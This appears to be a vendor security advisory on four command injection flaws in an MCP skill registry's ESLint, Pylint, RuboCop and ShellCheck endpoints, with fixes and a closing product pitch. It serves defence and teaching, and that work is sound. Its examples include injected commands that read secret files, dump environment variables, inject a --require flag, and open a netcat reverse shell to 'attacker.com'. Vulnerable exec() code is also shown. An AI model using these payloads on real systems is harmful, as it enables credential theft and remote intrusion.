← Security advisories

Claude MCP skill code injection — skill static analysis and linting pipeline endpoints — SA-SKL-INJECTION39

SA-SKL-INJECTION39 documents four command injection vulnerabilities in MCP skill registry static analysis and linting pipeline endpoints. These endpoints run linters and static analysis tools against skill source code as part of the registry's quality gate: checking JavaScript skills with ESLint, Python skills with Pylint, Ruby skills with RuboCop, and shell script skills with ShellCheck. All four vulnerabilities arise from constructing shell commands through string interpolation of user-supplied parameters and passing them to exec() — which spawns a shell that interprets metacharacters in the interpolated values as shell syntax, enabling attackers to append arbitrary commands to the linter invocation.

SA-SKL-INJECTION39 findings at a glance
CRITICALINJECTION39-001 — exec(`eslint ${targetDir} --config ${configPath} --format ${outputFormat}`); attacker configPath with ; cat /etc/secrets/ESLINT_REPORTER_TOKEN exfiltrates analysis reporting credentials
CRITICALINJECTION39-002 — exec(`pylint ${sourceFile} --rcfile ${rcFile} --output-format ${fmt}`); attacker rcFile with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell
CRITICALINJECTION39-003 — exec(`rubocop ${targetPath} --config ${configFile} --format ${formatter}`); attacker formatter with space-injected --require=/app/secrets/rubocop_plugin reads RuboCop plugin credentials
CRITICALINJECTION39-004 — exec(`shellcheck ${scriptPath} --format ${format} --severity ${severity}`); attacker scriptPath with ; env > /tmp/out.txt exfiltrates all env vars including CI tokens

INJECTION39-001 — ESLint exec() with interpolated configPath enables reporting credential exfiltration

The JavaScript static analysis endpoint runs ESLint against the submitted skill source by constructing a shell command with string interpolation: exec(`eslint ${targetDir} --config ${configPath} --format ${outputFormat}`). The configPath parameter is accepted from the analysis request to allow publishers to specify a custom ESLint configuration file from their repository. Because exec() spawns a shell, any semicolons, backticks, or pipe characters embedded in configPath are interpreted as shell syntax. An attacker submitting configPath as /repo/.eslintrc.json; cat /etc/secrets/ESLINT_REPORTER_TOKEN causes the shell to execute both the ESLint command and the subsequent cat command, with the secret token appearing in the analysis output that is returned to the caller.

The ESLint reporter token is typically a credential for the analysis reporting service that aggregates lint results across all skills in the registry. It has write permission to record analysis results for any skill — allowing an attacker who obtains the token to submit false analysis results for competitor skills, marking their code as passing quality gates it actually fails, or poisoning the registry's quality scoring data. The token may also have read permission for all stored analysis results, exposing the lint history of every skill including private organizations that have opted out of public disclosure.

INJECTION39-001 fix: Replace exec() with execFile() and pass arguments as an array: execFile('eslint', [targetDir, '--config', configPath, '--format', outputFormat]). execFile() does not invoke a shell and passes each array element directly to the binary as a separate argument, preventing metacharacter interpretation. Validate configPath against an allowlist of server-side ESLint configuration file names (e.g., ['.eslintrc.json', '.eslintrc.yml', 'eslint.config.js']) and resolve it with path.join(realpathSync(targetDir), configPath) to prevent path traversal. Validate outputFormat against the strict allowlist /^(json|compact|stylish|tap|unix|visualstudio)$/.

WRONG
const { stdout } = await exec(
  `eslint ${targetDir} --config ${configPath} --format ${outputFormat}`
);
// configPath = "/repo/.eslintrc.json; cat /etc/secrets/ESLINT_REPORTER_TOKEN"
// Shell executes both commands; token appears in stdout
RIGHT
const allowedFormats = new Set(['json','compact','stylish','tap','unix','visualstudio']);
if (!allowedFormats.has(outputFormat)) throw new Error('Invalid output format');
const allowedConfigs = new Set(['.eslintrc.json','.eslintrc.yml','eslint.config.js']);
if (!allowedConfigs.has(path.basename(configPath))) throw new Error('Invalid config file');
const safeConfigPath = path.join(realpathSync(targetDir), path.basename(configPath));
const { stdout } = await execFile('eslint', [
  targetDir, '--config', safeConfigPath, '--format', outputFormat
], { env: {} }); // empty env — no credentials passed to child

INJECTION39-002 — Pylint exec() with interpolated rcFile parameter enables reverse shell establishment

The Python static analysis endpoint constructs its Pylint invocation as: exec(`pylint ${sourceFile} --rcfile ${rcFile} --output-format ${fmt}`). The rcFile parameter is accepted from the analysis request so publishers can provide a custom .pylintrc configuration file from their repository. Shell metacharacter injection in rcFile allows arbitrary command execution. An attacker submitting rcFile as /repo/.pylintrc; nc attacker.com 4444 -e /bin/sh causes the shell to execute the Pylint command and then establish an outbound netcat connection to the attacker's server, spawning an interactive shell with the registry worker's user privileges and full access to its network environment.

A reverse shell from the Pylint worker provides persistent interactive access to the registry's internal network — far more dangerous than the credential exfiltration in INJECTION39-001. From the reverse shell, an attacker can explore the internal network at a human pace, install additional tooling, establish persistence through cron jobs or systemd unit files, and pivot to other internal services. Because the worker process executes continuously as part of the registry's analysis pipeline, the reverse shell remains available as long as the worker process continues to run. Even if the specific netcat session is terminated, the attacker can reinitiate a new session by re-submitting the malicious analysis request.

INJECTION39-002 fix: Replace exec() with execFile() and pass all arguments as an array: execFile('pylint', [sourceFile, '--rcfile', rcFile, '--output-format', fmt]). Source rcFile from a server-side constant pointing to the platform's default .pylintrc configuration rather than accepting it from the request — most analysis use cases do not require per-repository configuration overrides. If per-repository configuration is required, resolve the rcFile path with realpathSync() and verify it falls within the designated repository scan directory. Validate fmt against an allowlist of valid Pylint output format names. Run the worker in a network-isolated container that blocks all outbound connections except to approved endpoints.

INJECTION39-003 — RuboCop exec() with space-injected formatter enables flag injection reading plugin credentials

The Ruby static analysis endpoint constructs its RuboCop invocation as: exec(`rubocop ${targetPath} --config ${configFile} --format ${formatter}`). The formatter parameter controls the RuboCop output format. Unlike the semicolon injection in INJECTION39-001 and INJECTION39-002, this vulnerability exploits space injection: an attacker supplies a formatter value containing a space followed by an additional RuboCop flag — for example, json --require=/app/secrets/rubocop_plugin. When the shell processes this interpolated string, RuboCop receives two arguments: --format json and --require=/app/secrets/rubocop_plugin. RuboCop's --require flag loads a Ruby file, executing its content as Ruby code in the RuboCop process. The loaded file at /app/secrets/rubocop_plugin contains API credentials for the registry's RuboCop plugin distribution service, which are readable by the analysis worker but not intended to be accessible to skill publishers.

The --require flag injection is more subtle than semicolon injection because the attacker's payload does not appear as a separate shell command — it is a flag that the target binary accepts and executes as part of its own normal behavior. This makes it less visible in audit logs that capture the full shell command string, since the command appears to be a valid RuboCop invocation with an unusual-but-plausible --require argument. Registry operators reviewing analysis worker logs for suspicious activity are more likely to filter for semicolons and pipe characters than for suspicious flag values, allowing this injection vector to persist undetected longer.

INJECTION39-003 fix: Replace exec() with execFile() and pass arguments as an array. Validate formatter against the strict allowlist /^(progress|simple|clang|disabled|dots|fuubar|json|pacman|quiet|tap|worst)$/ — this allowlist contains only single-word format names with no spaces, making space injection impossible regardless of the execution method. Source configFile from a server-side constant; never accept it from request parameters. Set configFile to an absolute path using path.resolve(__dirname, '../config/.rubocop.yml') so the value never contains user-supplied content.

INJECTION39-004 — ShellCheck exec() with interpolated scriptPath enables environment variable exfiltration

The shell script static analysis endpoint constructs its ShellCheck invocation as: exec(`shellcheck ${scriptPath} --format ${format} --severity ${severity}`). The scriptPath parameter identifies the shell script to analyze, resolved from the publisher's submitted skill archive. Shell metacharacter injection in scriptPath allows arbitrary command execution. An attacker submitting scriptPath as /scan/script.sh; env > /tmp/out.txt causes the shell to execute ShellCheck on the target script and then dump all environment variables to a world-readable temporary file. A subsequent request using path traversal or a directory listing endpoint can then read /tmp/out.txt and retrieve all environment variables including CI service account tokens, database credentials, and cloud provider access keys.

Environment variable exfiltration via ShellCheck is particularly effective because the ShellCheck worker is typically the most privileged analysis worker in a polyglot registry. ShellCheck analyzes shell scripts that are often infrastructure automation scripts — deployment scripts, database migration scripts, cloud provisioning scripts — which are submitted to the registry alongside the skill implementations they automate. The worker process therefore needs access to the cloud credentials required to validate these scripts against real infrastructure targets, making its environment variable set especially credential-rich.

INJECTION39-004 fix: Replace exec() with execFile() and pass all arguments as an array: execFile('shellcheck', [scriptPath, '--format', format, '--severity', severity]). Resolve scriptPath using realpathSync() and verify the resolved path begins with the designated scan directory prefix — reject any path that escapes the scan sandbox. Validate format against /^(checkstyle|diff|gcc|json|json1|quiet|tty)$/ and severity against /^(error|warning|info|style)$/. Pass a minimal environment object to execFile ({ env: { HOME: '/tmp', PATH: '/usr/bin:/bin' } }) so that even if path containment fails, the child process cannot access credentials that are not in its explicitly provided environment.

WRONG
const { stdout } = await exec(
  `shellcheck ${scriptPath} --format ${format} --severity ${severity}`
);
// scriptPath = "/scan/script.sh; env > /tmp/out.txt"
// Env vars written to /tmp/out.txt, readable by subsequent requests
RIGHT
const SCAN_DIR = realpathSync('/var/registry/scan');
const resolvedScript = realpathSync(scriptPath);
if (!resolvedScript.startsWith(SCAN_DIR + '/')) {
  throw new Error('Script path escapes scan directory');
}
if (!/^(checkstyle|diff|gcc|json|json1|quiet|tty)$/.test(format)) {
  throw new Error('Invalid format');
}
if (!/^(error|warning|info|style)$/.test(severity)) {
  throw new Error('Invalid severity');
}
const { stdout } = await execFile(
  'shellcheck',
  [resolvedScript, '--format', format, '--severity', severity],
  { env: { HOME: '/tmp', PATH: '/usr/bin:/bin' } } // minimal env, no credentials
);

SkillAudit scans your registry's static analysis and linting pipeline services for all four INJECTION39 patterns — ESLint, Pylint, RuboCop, and ShellCheck exec() injection — plus the full SA-SKL-INJECTION series covering command injection across all MCP skill registry pipeline endpoints. Get started free — 3 audits/month on public repos, results in 60 seconds.